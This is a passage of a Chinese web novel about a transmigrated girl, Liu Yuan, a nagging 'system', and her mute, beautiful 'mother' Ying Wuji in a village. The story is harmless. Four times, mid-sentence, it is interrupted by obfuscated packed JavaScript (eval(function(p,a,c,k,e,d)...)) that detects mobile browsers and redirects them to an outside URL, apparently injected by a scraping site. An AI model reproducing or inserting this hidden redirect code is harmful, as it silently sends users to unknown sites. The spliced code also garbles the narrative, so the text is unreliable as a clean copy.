“是啊是啊,前几天我还见她给林姐家那个如花似玉的小姑娘说个懒汉呢,你说这真是不靠谱。” “还有还有,她前几天不是腆着脸要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758353|190110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去给县令的女儿说亲吗?你们猜怎么着?” “什么什么,快说呀?” “被下人拿着大木棍给赶了出来!” 众人哄笑成一团,柳沅也忍不住笑了,笑着笑着就下意识去找应无霁的身影,却发现他不知道什么时候不见了。 大娘们的话很多,也很有意思,可她总有点心不在焉,眼睛时不时往周围瞟瞟,搜寻着应无霁的身影。 等人群散了,已经是快中午了。 柳沅揉揉笑酸了的脸颊,探头往院子里四处瞧,终于在后门处看见了应无霁。 这间木屋坐落在小溪边边,从后门可以望见白白的水,和绿绿的山。 应无霁就那么蹲在岸边,望着空空如也的水面发呆。 那一头柔顺的秀发中突然出了个叛徒,径自地立了起来,在他的头顶顶起一道突兀的弧度。 柳沅望着他头顶上的那根呆毛,又想到了大娘们喊他俏儿,忍不住笑了出来。 俏儿,翘儿。 还真是适合。 应无霁听见笑声,转过头,迷惑地望着她。 那双水灵灵的大眼睛扑闪扑闪的,像森林中的小鹿,纯净又灵动。 柳沅走到他身边蹲下,弯了弯眼睛:“桌上的药是你给我留的吗?” 她想她有些明知故问,但应无霁没有不耐烦,轻轻点了点头。 “那……” “触发系统任务,请修复与娘亲的母女关系,逗娘亲笑。” 柳沅快到喉间的谢谢就那么卡住了,诡异地变成了一声低沉沙哑的怪叫。 应无霁微微睁大了眼睛,有些不解地歪头,显然并不理解她的举动。但他很贴心地没有继续看她,只是装作不知道,转过头继续看水面。 气氛染上了微微的尴尬。 柳沅欲盖弥彰地咳嗽一声,装作什么事情都没发生的样子,转头在脑子里怼系统道:“你能不能不要总是这样突然出现,你是要吓死我吗?” 系统依旧是那副毫无感情的腔调,说出来的话却格外气人:“宿主没有权利要求系统,你首要的任务是完成系统任务,早日回家。“ “行,算你狠。“柳沅几乎是从牙缝里挤出来的这句话。说完,她犹豫了一会,还是站起身来,换个了位置,站在了应无霁身前。 他还是那副淡淡的样子,抬眼望她。柳沅其实很能知道怎么逗别人笑,无非是做鬼脸,发出一些奇怪好笑的声音。 很简单的。 但她在应无霁面前做不出来。 两人就这样干巴巴地对视着,相对无言。应无霁倒没有柳沅想的那么多,虽然不理解为什么她要一直盯着自己,但还是很配合地睁大了眼睛。 雾蒙蒙的,如春水般潋滟的眼睛…… 柳沅被这样的目光注视着,慌忙低下头,狼狈不堪地捂住了脸。 “好尴尬,为什么会有这么尴尬的任务?”她在心里咆哮。 系统嘲讽道:“我有提醒过宿主你和娘亲培养感情,谁让你不听?” “这不是培养感情的问题,这种氛围很奇怪你知道吗?”柳沅依旧暴躁。 又过了一会儿,她突然听见一声轻笑,很短很急。她愣了愣,放下手时,只看见应无霁冷淡的表情。 如果她刚才没听错,应无霁是不是……笑了? 所以…… 柳沅怀疑地望着他,耳边突然响起系统的提示音:“恭喜宿主,任务完成。” 所以…… 应无霁为什么笑? 8. 天降娘亲(8) 柳沅大概是永远都不会知道这个问题的答案了。应无霁的表情太淡了,光是看根本就看不出他在想什么。 “真是奇怪。”她嘟哝了一声。 突然,身后传来张大娘的喊声,柳沅回头,发现她正挎着一个小菜蓝,站在门口笑着朝他们招手。柳沅看看兀自出神的应无霁,转身往院子里走去。 刚走到院子里,张大娘便等不及了,拿着小菜蓝就往她怀里塞,边塞便笑道:“这是我刚摘的菜,我们家就我和小桑,这么多吃不完,我又不舍得给别人,你都拿去吧。” 柳沅一看,篮子里满满的都是新鲜的果蔬,有的叶子上还沾着土,一看就是刚摘下来的。她受宠若惊地抬头,连声说着谢谢。 “欸,谢啥,咱们都是邻居,互相帮忙是应该的,对了,我院子里还有些别的菜,你看看你爱不爱吃,摘点回来。”说着,张大娘就拉着柳沅往自己家走,柳沅想推辞,实在耐不住她太热情,只能顺着她往外走。 张大娘家就住在应无霁家不远处,刚走到地方,柳沅便看见了张大娘话里的小菜园。张大娘说这小篮子不够装,要给她拿个更大的篮子,说完就匆匆往屋子里跑。 柳沅对她突如其来的热情有些无所适从,但还是表现出一副活泼的样子,跟着大娘进了屋子。 迎面而来的就是满地的头发。 毫不夸张,还算宽敞的屋子里满是黑色的头发,一片一片的,像是从地里长出来的。柳沅有点不敢进去,张大娘看见了,笑着解释道:“这是我女儿的头发,长得太快了些,总是要剪,今天没来得及收拾,让你见笑了。” 头发长的快?至于快成堆了满屋子的头发吗?柳沅再度对这个修仙世界有了新的认知,站在原地仔细观察着这些奇怪的头发。 突然,堆在角落里的发丝蠕动了一下,柳沅揉揉眼睛,差点以为自己出现了幻觉。 那东西,看上去有点奇怪。她还欲细看,突然听到张大娘喊她过去。柳沅只能放弃观察,往屋子后面走去。 张大娘手脚麻利,一会儿就找到了篮子,又拉着她摘菜,这一忙活,又到了下午。柳沅带着满篮子的新鲜蔬菜回了家。 刚一回家,院子里便飘来一阵浓郁的肉香,她精确定位了肉香的方位,正好看见应无霁拿起鸡腿往自己嘴里塞。 “你出去了?”她一边把菜篮往厨房里放,一边问道。 应无霁摇了摇头。 “那这是谁给的?”柳沅疑惑道。 应无霁没回答她这个问题,只是指了指桌面。柳沅顺着他手指的方向望去,才发现桌上还放了一个小碗。她愣了愣,走近一看,里面静静地躺着一个大鸡腿。 应无霁思考了一下,用手比划了一阵,大致的意思就是这根鸡腿是留给她的,让她快点吃,不然冷了就不好吃了。 柳沅看着那根鸡腿,迟迟未动。应无霁觉得奇怪,敲了敲桌子,这才让她回过神。 【我去做饭,你先吃。】应无霁比划着,朝柳沅点点头。 她还没反应过来,应无霁便进了厨房。 这时,系统的声音再度在脑海里响起:“恭喜宿主,成功和娘亲的亲密度提升!现在娘亲对你的好感度是10,请再接再厉!” 柳沅被这声播报吓得一激灵。 哦,她差点忘了,像这种穿书的设定,一般都能看任务对象的好感度的。 她怎么把这个忘了。 “才十点吗?会不会太少了?”她顺嘴道。 系统沉默了一下,嘲讽道:“你知道少了?你怎么不努力一点?” 柳沅被它这番话整的哑口无言,半晌发出一声尴尬的笑,随后便不说话了。 烟囱里飘出淡淡的烟,一部分飘向天空,一部分留在院中。柳沅闻着鼻尖淡淡的辣,心情莫名就平静下来了。 突然想到了小时候在姥姥院子里玩耍,那时候也有这样的烟,这样的天气,这样的院子。她惬意地伸了个懒腰,盯着厨房里忙碌的应无霁,轻轻地扬起嘴角。 感觉这样的生活似乎也不错,如果没有这个该死的系统任务的话。 她有点忧伤地望着天空,叹了一口气。 饭菜很快就做好了,应无霁把卖相很好的菜摆到桌面上,摆好碗筷,叫柳沅过来吃饭。这菜不仅看上去好看,吃起来也好吃。柳沅狼吞虎咽地吞了好几口饭,却突然发现应无霁只吃自己碗里没吃完的鸡腿。 柳沅灵光一闪,猛地放下了碗。 这饭菜不会有毒吧?她有点怀疑。像是为了印证她的推测,应无霁连看都不看那些菜一眼,只专心吃着鸡腿。 柳沅越发相信自己的推断,暗暗抠着自己的嗓子眼,想把刚才吃掉的东西全都吐出来。 谁知道这看似柔弱美貌的娘亲会不会是个黑芝麻汤圆呢?柳沅这样想着,动作越发急迫。她以为自己的行为很隐蔽,甚至还特意背对着应无霁做催吐的动作,但应无霁又不是傻子,早就看出来了。 柳沅又一次催吐失败,转身回到饭桌前,眼珠滴溜溜直转,苦思冥想着对策。余光中,应无霁看了她一眼,她也抬头,正好看见他对着自己翻了个白眼。 等等?白眼? 应无霁对着她翻白眼? 柳沅震惊了,张大了嘴巴,直到这次清清楚楚看见应无霁确实又对着她翻了个白眼。 【饭菜吃了不会死,你别吐了。】应无霁做了个呕吐的动作,好看的桃花眼微微眯起,带着些嘲讽的意味。柳沅这才发现自己被看穿了,脸色僵了僵,随后重新拿起了碗筷。 剩下的饭吃的她是一个如履薄冰。本来应无霁淡淡的,除了吃饭根本不会管她,但现在他就那么笔直地坐着,直勾勾地盯着她,意味再清楚不过。 你——必须给我吃完。 柳沅埋着头,苦不堪言。 脑海里系统的播报一直响起。 “娘亲好感度归零。” “好感度恢复。” “好感度归零。” 只要柳沅停下吃饭,应无霁的好感度就会立即归零。直到这顿饭吃完,柳沅急急忙忙收拾碗筷,这才从应无霁的视线下逃脱。 “我就应该让我们的关系保持一种微妙的宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758354|190110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静,而不是像现在这样。”柳沅吐槽道。 系统嘲笑她:“谁让你觉得人家做的饭有毒的,你在你那个世界的母亲也会和应无霁一样的反应啊。” “才不会。”柳沅反驳道,“应无霁这样才不正常,我们都还不是母女呢。” “你爱怎么想怎么想,反正别惹娘亲生气就行了。” “你闭嘴吧。” 洗完碗,柳沅躲在厨房门边,偷偷往外看,看见应无霁要出门之后,松了一口气。 不对,我为什么要怕他? 柳沅冷哼一声,大摇大摆地走了出去,正好出去散散步。 应无霁走的很快,一下子就不见人影了,柳沅朝着张大娘家的方向走去,正好在她家门前看见一个扎着麻花辫的姑娘。 她的皮肤是偏黑的小麦色,眉毛又黑又浓,再加上那双黑白分明,水灵灵的大眼睛,看着就令人心生欢喜。 偏偏这样长相大大方方的小姑娘,竟然是个容易害羞的性格。 柳沅笑着和她打招呼,她微微低下头,捂着嘴笑。 “我今天在家里听见我娘和你说话了,”女孩走上前来,手里拿着一根编织的红绳,对着柳沅羞羞地笑,“这村里同龄的女孩儿少,你是我见过的第一个。” 闻言,柳沅笑着道:“我叫柳沅,前几日刚搬来村里,和……” 她卡顿了一下,憋笑着说道:“和俏儿姑娘住在一起,是她的妹妹。” “原来是俏儿姑娘的妹妹。”女孩吃了一惊,弯弯眼睛笑道:“我叫李桑字,我娘应该和你说起过我。” 说完,她有点调皮地眨眨眼睛,走近了柳沅,把绕在手上的红绳递给她。 “这是?”柳沅吃惊地问。 李桑字顺势把红绳绕在她手上,笑得开心:“我平时喜欢做些小玩意,这就当是我送给你的见面礼。红绳保平安。” 说完,她像是想起了什么事情,低下头吃吃地笑。 柳沅晃晃手上的红绳,觉得很新奇,忙道谢。 “倒不必朝我道谢,我倒是要向你赔罪呢。”李桑字道。 柳沅一惊,忙道:“这是什么道理?” 李桑字的话让她一头雾水,她仔细回想着今日发生的事情,并没有怎么被得罪,反而是麻烦张大娘许多事。 见状,李桑字脸上的笑容越发灿烂,最后忍不住扑哧一声大笑:“我娘热心肠,总是喜欢到处帮年轻姑娘说亲,找了俏儿姑娘许多次了,我想你来了,她应该也找了你。” “但姑娘们往往对这种事很害羞,我娘的热心有时候会办了坏事,所以我才说要向你道歉。” 李桑字笑得眉眼弯弯,柔声道:“你这人真有意思。” 柳沅被莫名奇妙地夸了一顿,心情有点飘飘的,也跟着她笑了。 “那大娘应该也会帮你说亲吧?”她顺嘴问道。 李桑字却不说话了。柳沅心底咯噔一声,生怕自己说错了话,赶忙去看她的表情。 此时,天边红霞满天,却比不过少女颊边的颜色。 李桑字害羞了。 9. 天降娘亲(9) 柳沅顿时反应过来,她应该是有心上人了。 那……自己算不算无意之中戳破了少女的心事? 她顿时感觉自己闯了祸,闭上嘴不说话了。 李桑字却没她想象中表现得大惊失色,反而笑着安慰她道:“没什么大不了的,女子都会有心悦的人,你不用像撞破什么秘密似的不安。” 柳沅望着她,僵着脖子点点头。 李桑字的长相并不温柔,浓眉大眼的偏攻击性,但笑起来时温柔的眼神,让她整个人都仿佛蒙上了一层朦胧的纱。 柳沅站在她身边,听着她的声音,心不由自主就静了下来。 二人又说了些别的话,交谈甚欢。柳沅还要去别的地方看看,于是和李桑字告别,往村子里房子密集的地方走去。 “村长,过几个月我家就要收稻谷了,我想找您帮忙在村里多找一些人帮帮忙。” “行,我明天帮你张罗张罗。” “好嘞。多谢村长。” 柳沅在一见高大的屋子前停下,正好看见一个胖胖的老头正在和一个黑黑的青年说着话。那胖胖的老头应该是村长,脸皮被太阳晒成了浓郁的黑色,还带着象征年龄的褶皱,或许是因为常年皱着眉头,眉心处深深陷了下去。 看起来脾气不太好的样子。 那青年是典型的小麦色皮肤,人看上去也挺憨厚老实的,见柳沅过来,还对着她笑笑。倒是那位被称作村长的老者,有点冷漠。 柳沅站在一旁,等他们说完。 来之前她就打听好了村长家的位置,想着过来问问村子里有没有什么谋生的差事。 她娘亲住的地方实在太寒酸了。从系统的话里得知,她应该还要在这个世界呆上以年为单位的时间,如果在这么长的时间内只能住这样的房子,她会疯掉的。 住着破破烂烂的房子,穿着破破烂烂的衣服。 不行,她不能接受。所以必须挣钱! 那黑黑的青年刚走,后脚又来了个白发苍苍的老婆婆。村长看了柳沅一眼,又专注地去问那老婆婆有什么事。 看来目前村长很忙。 柳沅看了一眼逐渐变暗的天色,决定改天再来。这时,身后突然传来一声喊叫。 她转过头,看见一个青年拿着什么东西,正往自己所在的位置赶来。 青年一副书生的打扮,穿着月白色的长袍,头上扎着同色的儒巾,手上拿着一个大麻袋。再走近了些,柳沅便能看清他的脸。一对弯弯如远黛的眉毛下长着一双含情脉脉的丹凤眼,谈笑间柔情四溢。 他叫住了柳沅,笑道:“我记得你,是俏儿姑娘带回来的小妹。” 他的态度很友好,柳沅礼貌地笑了笑,回道:“我刚来村里,想着来逛逛认识认识大家。” 闻言,少年笑容更加柔和,轻声道:“这样倒是很好,我叫叶子桐,平时如果有些什么需要或者不懂的,可以来这边找我。” 柳沅点点头,又看了一眼天色,想回家,又被他叫住了。 叶子桐有些急,手里还提着什么东西,大喊着让她等等。 “俏儿姑娘平日里不怎么和大家说话,前几日村里大丰收,这些东西忘记了给她送过去,正好你今日来了,这些都是大家的一些心意,你拿回去吧。” 说着,塞给柳沅一大包肉和米。 她受宠若惊地抱着这一大堆东西,对着叶子桐一笑:“多谢了。” “不用谢。”叶子桐笑得温柔,还特意叮嘱她路上小心。 柳沅连连道谢,抱着麻袋往回家的路上走。 “还真别说,这村里的人都挺热心的。”她对系统道。 系统没有说话,柳沅觉得奇怪,突然听到了一声熟悉的任务提示音:“人物已解锁,叶子桐,反派小弟,故事待解锁。李桑字,反派白月光,信息待补充。” “若宿主完成隐藏任务,补充关键人物剧情,将获得神秘奖励一份。” “什么?”柳沅大喊一声,差点把手里的麻袋落在地上,“你说那两个人是反派那边的?” 反派? 柳沅的思维突然被打乱了,怎么会出现反派的相关剧情任务?她不是来撮合渣爹和娘亲的吗? 她咽了咽口水,半开玩笑道:“你不会在我完成娘亲的任务之后,还要我攻略反派吧?” 她可是还记得,上次被困在那个和反派同款的棋局里,系统说反派破局的手段是放干自己的血,引妖怪前来自相残杀。 怎么听这人都不会是个好人吧? 系统忽略她的震惊,继续道:“这本小说中提到反派的地方不多,他并不会影响宿主你的任务。在原小说中,你的爹娘相爱相杀,反派独自搞事业,建立起了力量强大的邪教组织,他杀人如麻,性情冷漠,没有任何同理心,是后期剧情中最为棘手的大boss。” 闻言,柳沅不解地问道:“怎么听起来他都对我爹娘很有威胁吧?我是不是该趁着他还没发展起来,扼杀他?” “你入戏太深了。”系统吐槽道,“你的任务只进展到爹娘在一起生下你,那时反派还没完全成长起来,等你完成任务了,反派都还没能力毁天灭地呢。” “所以不用担心。” 听了系统这话,柳沅七上八下的心脏总算落回了肚子里,虽然隐隐还是感觉到不安,但她只认为这是对反派的忌惮。 毕竟她现在处在书中世界,一个没有逻辑,全是狗血元素的古早书中世界。这种世界里的反派,是真会要人命的那种。 柳沅抱紧了麻袋,加快了走路的速度。 她走路时并不专心,总是会莫名奇妙地发起呆来。正当她幻想着如何和娘亲拉近距离时,路边草丛里一团黑色的东西引起了她的注意。 这不看不知道,一看吓一跳。 这片草丛里竟然全藏满了一团团黑漆漆的恶心玩意,不知道是不是柳沅眼花了,竟然还看到那东西怪模怪样地蠕动了几下。 她好奇地弯下腰,伸出手想去抓那东西。就在这时,头突然被人敲了一下。她像个受惊的兔子,猛地往上一窜,正好撞上应无霁的下巴。 柳沅看见他的眼睛一下就红了。 “对不起对不起,我不知道你在我后面,我不是故意的我……”她连忙和他拉开距离,一语无伦次地解释,一边道歉。 应无霁捂着下巴,狠狠闭了闭眼睛,把睫毛上沾着的泪珠甩掉,又用桃木枝戳了戳她的手,示意她跟上。 站在原地等待责备的柳沅:“……” 想象中被桃木枝打击报复的情形没有出现,柳沅小心翼翼地抬头,发现应无霁目光复杂地看着自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758355|190110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己。 她脑子一抽,干笑道:“你不打回来啊?” 应无霁忍无可忍地翻了个白眼,又把手里攥着的桃木枝抖了抖,示意她牵上去。柳沅这才握住了桃木枝。 于是应无霁带着她往家的方向走。 “我还以为你在家呢,今天看见你一直蹲在河边,你在看什么呀?”柳沅好奇问道。 应无霁没理她。 柳沅也不在意,绞尽脑汁回想着自己看过的万人迷小说里,女主和娘亲是如何相处的,盘算着一个一个地对着应无霁试。 虽然她娘亲不会说话,但架不住她脾气好呀,柳沅闯了那么多次祸,她都不生气。 最开始对这个任务的抵触消散了很多,柳沅突然觉得和这个漂亮娘亲住在一起也不错,娘亲虽然手无缚鸡之力,看起来像个病弱美人,但她美呀。 每天多看几眼就能多吃好几碗饭呢。 虽然她们家穷,但柳沅来了,她有手有脚,力气大。总之,只要她们齐心协力,一定可以把日子过得红红火火。 “你的思想觉悟突然提高了?”系统突然蹦出来,冷不丁道。 柳沅轻哼一声:“反正和你没关系。” 系统冷笑一声。 “对了对了,我们家有没有什么别的什么衣服,我之前的那套衣服被雷劈的不能穿了,现在只剩下一套衣服,不够穿的。还有……” 柳沅做了很久的心里准备,鼓起勇气喊道:“娘亲。” 这声语气很轻,声音软软的,很容易被风吹走,但应无霁听见了。 他停下来,转过头。 微凉的晚风吹开他披在肩上的黑发,那双总是微微垂着的眼睛一下就瞪圆了,柳沅竟然从他淡淡的情绪中发现了一丝无措。她觉得好笑,又喊了一声。 应无霁猛地转身,手上的桃木枝一下子就收紧了,柳沅被拽的往前一倾,差点撞上他的背。 她紧紧抓住了手中的桃木枝,这才避免了亲吻大地的结局。 “娘亲,你慢点,我跟不上。”柳沅被应无霁带着越走越快,踉跄着又差点摔倒。 可不知道怎么回事,应无霁像完全没听到她的呼唤,速度越来越快,快到她最后都没有心思说话,只能提起全部力气跟上应无霁的脚步。 直到回到家,柳沅才能缓口气,抬头看看天色,已经快晚上了。 天边的最后一丝光亮消失在天际,整个世界彻底陷入黑暗。那股莫名其妙的困倦又来了,柳沅使劲揉揉眼睛,还是无法驱散这股睡意。 应无霁已经把桃木枝从她手中抽走了,见她仍站在原地,一副要睡过去的样子,准备离开的身体顿了顿。 那上一刻还在手中温柔握着的桃木枝唰的一下飞到了柳沅面前,和她的眼球仅仅只有一毫米的距离。她被吓到了,糨糊一般的脑子突然清醒过来,身体一动也不敢动。 她用求助的目光望向应无霁。 他收回桃木枝,指了指柳沅的房间,让她快点进去休息。柳沅也能感受到那股奇怪的倦意越来越浓,于是快步跑向房间。当她关门的那一瞬间,应无霁的身影也消失在了院中。 夜幕来袭,整个世界陷入绝对的寂静。应无霁站在屋顶上,衣摆被夜风吹的猎猎作响,像一尊雕塑立在夜空下,凝望着缓缓升起的巨大月亮。 10. 天降娘亲(10) 这一觉睡了好久好久,柳沅被系统的播报声喊醒时,外面的天色还是蒙蒙亮。 “警告,警告,娘亲好感度下降三点!娘亲好感度下降四点!” “五点!” “归零!” 柳沅仅剩的睡意被完全吓没了,挣扎着爬起来时,被坐在她房间正中央的应无霁吓到魂飞魄散。 “你……你怎么在这?”她大吼一声,一骨碌钻进了被窝里,又因为寒气打了个哆嗦。 应无霁静静地看着这个自己捡回来的人,乱糟糟的头发,时不时在发抖的身体。 怪可怜的。 他歪歪头,思考了一下,递给柳沅一张纸条。 应无霁坐的离柳沅有点远,她警惕地往前挪了挪,才哆哆嗦嗦伸出手去拿那张纸条。 系统突然跳出来,吐槽道:“你干嘛这么怕她,再这样娘亲的好感度都要掉完了。” 是哦。柳沅打了个激灵,一下就反应过来了。 她为什么要怕应无霁,这个手无缚鸡之力的弱女子。 而且还是她娘亲。 想清楚了,柳沅手也不抖了,被子也不裹了,背也不驼了,正气凛然地接过那张纸条,飞速地看了一眼。 应无霁等待着她说话,却迟迟听不见柳沅开口。又等了一会,他觉得奇怪,抬头去看她,发现柳沅一脸为难地指着纸条,试探性地问道:“这……这是什么字啊?” 他愣了一下,随后像突然反应过来什么一样,飞速站起身来,抽走了柳沅手中的纸条。他这一站起来,原本被他身体挡住的东西就露了出来。 是一叠五颜六色的衣服,静静地摆在桌子上。 柳沅看着那叠不算新的衣服,又看看应无霁的脸,眼尖地发现了他右脸脸颊上有两道淡淡的指甲印。 衣服,指甲印…… 柳沅突然怔住了。 昨日她说的自己没衣服穿的那些话,他都听进去了?所以,给自己弄来了这些衣服,甚至…… 柳沅又仔细瞧了瞧应无霁的穿着,在他的衣摆看见了几点不明显的灰和血迹。 这几日虽然不见应无霁换过衣服的款式,但总是一尘不染的。可他…… 越想越奇怪,柳沅索性从床上蹦下来,死死盯着应无霁,质问道:“这些衣服怎么来的?” 应无霁倒是很坦然,无奈地指了指纸条,意思是他写了什么,可是柳沅看不懂。 “你教我认字吧!”她信誓旦旦道。 应无霁晃了晃纸条,摇摇头。 柳沅不服气,追问道:“为什么?” 他只是指了指堆在一起的衣服,说自己已经洗过了,让她换上,就准备出去。柳沅不知道哪里来的冲动,一把拉住了他的手。 应无霁有点懵,疑惑地望着她。 柳沅本来想再问他一遍衣服是从哪来的,可看见他的眼睛,突然什么都说不出来了。 应无霁见她目光闪闪躲躲,却还是要偷偷瞟自己,无奈地叹了一口气,表示那些衣服都是正当途径得到的。 “真的不是抢的?”柳沅狐疑道。 如果从别人身上扒下来不算抢的话,应无霁思考了一下,重重点点头。 柳沅这才放下心来,往桌边走,刚翻开那衣服,就摸到了硬硬的东西。一翻开,竟然是几根石头簪子。 她有点呼吸不过来,猛然转身,死死地盯着应无霁。 她的眼神有点凶,应无霁疑惑回望。虽然他并不懂柳沅突然这样是什么意思,但还是配合着乖乖站好。 又过了好一会儿,他听见柳沅沙哑的笑:“谢谢你呀,娘亲。” 娘亲?应无霁皱了皱眉,不太喜欢这个称呼,但看着柳沅脸上比哭还难看的笑,默默点了点头。 柳沅万分小心地把那包衣服和簪子放进柜子里,再转身时,发现应无霁正在往外走。 她喊了一声。 应无霁回头。 柳沅朝他露出一个笑,轻声道:“谢谢。” 这次的笑容和之前的都不一样,她偏浅色的瞳孔带着淡淡的潮湿,长长的眼尾弯的像月牙,眼睛又像圆圆的杏子,又像扁扁的桃花。偏上扬的浓眉冲淡了眼睛的柔美,有点锐利逼人。 但笑起来这股锐利就化开了,融在长长的眼尾里,带出似水的温柔。 应无霁这才发现,柳沅的眉心左右有两颗对称的红色小痣,像调皮的小狐狸,灵动极了,又有点清纯的妩媚。 很像可爱的狐狸,狡猾的狐狸。 他认真地想。 “我帮你梳头发吧。”柳沅道。 应无霁在梳妆台前坐下的时候,还很不自在。他能从镜子中看见柳沅脸上的笑。 想着她挺开心,自己好像也没那么抵触了,于是他放松下来,等待着柳沅给他梳妆打扮。 此时柳沅正在和系统称赞她这位伟大的娘亲。 “她简直是人美心善,我为以前不尊重她而忏悔!”柳沅鬼哭狼嚎道。 系统没好气道:“不要质疑我好吗?我说了娘亲是个好人,是个十足的傻白甜,谁让你不信。” “不,我只是觉得这样好的姑娘,不应该被那个死渣爹害了。”柳沅气愤道。 系统冷漠道:“想想你的性命。” 这一句话彻底浇灭了柳沅突然燃起的斗志,她幽幽道:“你说的对。” 柳沅以前是大学里出了名的打工皇帝,几乎学校周边的店铺她都去打过工,其中在美妆店打工的时间最长,练就了她一手编发的好手艺。 “哼哼,我以前给我妹妹梳头梳的可好看了。”她得意地向系统炫耀,满意地看了一眼镜子里的应无霁。 “你还有妹妹啊?”系统吃惊道。 “当然,我妹妹可可爱了。”柳沅道。 在柳沅的巧手之下,应无霁好看的眉眼彻底露了出来,边上垂下来的小辫子更添灵动,让他显得更加楚楚可怜。 “不过就这样有点空了。”柳沅看着空空如也的发髻,随口道。 这时,门外传来一声娇俏的女声,紧接着,李桑字挎着菜篮就走了进来。见到坐在梳妆台旁的应无霁,很明显地愣了愣。 望着她脸上的惊艳之色,柳沅得意极了,炫耀道:“我娘亲……不,我姐姐好看吗?” 李桑字那双圆溜溜的眼睛里满是羡慕,捂嘴笑道:“这才像个漂亮姑娘。” 柳沅听她夸应无霁,开心地晃了晃脑袋,一副很受用的样子。应无霁从镜子里看到了她的动作,若有所思。 原来她喜欢别人夸她吗?他暗暗记下,刚准备站起来,又被李桑字按回了椅子上。 “可我总觉得缺些什么。”李桑字指了指应无霁空旷的发间,笑道。 柳沅忙道:“我也觉得。” “这个好办,”说着,李桑字从篮子里拿出几朵漂亮的蓝色牵牛花,又从自己头上拔出几根木头簪子,搁在桌上。“我倒觉得这些很适合俏儿姑娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758356|190110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “不行,这些东西是你的,怎么能就这么送我们呢?”柳沅坚决不肯收。无论在哪个世界,村里人的生活都不是很好过,于女子说,不仅金银戴不起,木头簪子也是极其宝贵的。 李桑字却笑了,笑得快断气,道:“你连簪子都不收,那我今日给你带的菜你也不收了?” 柳沅愕然地望着她。 李桑字握住她的手,轻声道:“只是木头簪子,不值钱,还有这些花,每天都能采到的。” “看到俏儿姑娘这么好看,我心情也好了。”她朝柳沅眨眨眼。 柳沅被她这番话逗笑了,也不推脱了,和李桑字一起把花和簪子插到应无霁发间。望着镜子中清纯美丽的娘亲,柳沅弯了弯眼睛。 “头发好看了,可是这衣服也要换。”看了一会儿,柳沅说道。 李桑字灵机一动,提议道:“村里有几家大娘纺布,我们可以去换些来。” 应无霁有些出神地望着远处,听她们要去换布,懵懂地看了柳沅一眼,只一眼,让她的心脏停跳了一瞬。 此时,系统的机械音再度响起:“恭喜宿主,娘亲好感度恢复,依旧保持十点,请宿主继续努力。” 可柳沅觉得自己的心跳开始不受控制了,忙移开视线,对着李桑字笑道:“也不知道能用什么换。” “没事,我们可以先去看看有没有你喜欢的布。”李桑字道。 于是两人合计着出去,期间张大娘来了一次,把李桑字叫走了。于是柳沅只能带着应无霁去换。 两人一起走到村庄中心。这是柳沅第一次在村子里看见这么多人,有年轻强壮的小伙子,爽快活泼的少女,还有白发苍苍的老婆婆和老爷爷,大家聚集在村子里最大的广场上,说说笑笑。 所有人看见柳沅身后的应无霁,都愣了愣,期间有好几道不怀好意的视线在他身上晃了许久,被柳沅狠狠瞪了回去。 她突然有点后悔带应无霁出来了,娘亲要是被坏人惦记住了可怎么办。 柳沅这边千防万防,应无霁却只觉得这些人有些奇怪,没想太多,只愣愣地盯着天空发呆。 这样的神情落在那些人眼中,更是一阵骚动。 众所周知,无知的男人们都喜欢看上去懵懵懂懂的女人。应无霁完全没察觉到将降临的危险,跟着柳沅经过这群眼神不善的男人。 柳沅刚带着应无霁走过来,就被一群热情的大娘围住了。大家都夸应无霁精神好看,漂亮姑娘就应该这样打扮之类的。 “对了,各位婶婶,你们家里有颜色稍微亮一点的布吗?我想买来给我姐姐做些衣服。”柳沅问道。 闻言,大娘们相视一笑,七嘴八舌地开始说要送应无霁布匹。 “我觉得俏儿姑娘穿红色好看,前几日陈家姑娘出嫁,剩了不少红色的布,我拿来你试试?” “我倒是觉得俏儿姑娘穿青色好看,我家有匹刚从城里买回来的布料,送给你给她做衣服。” 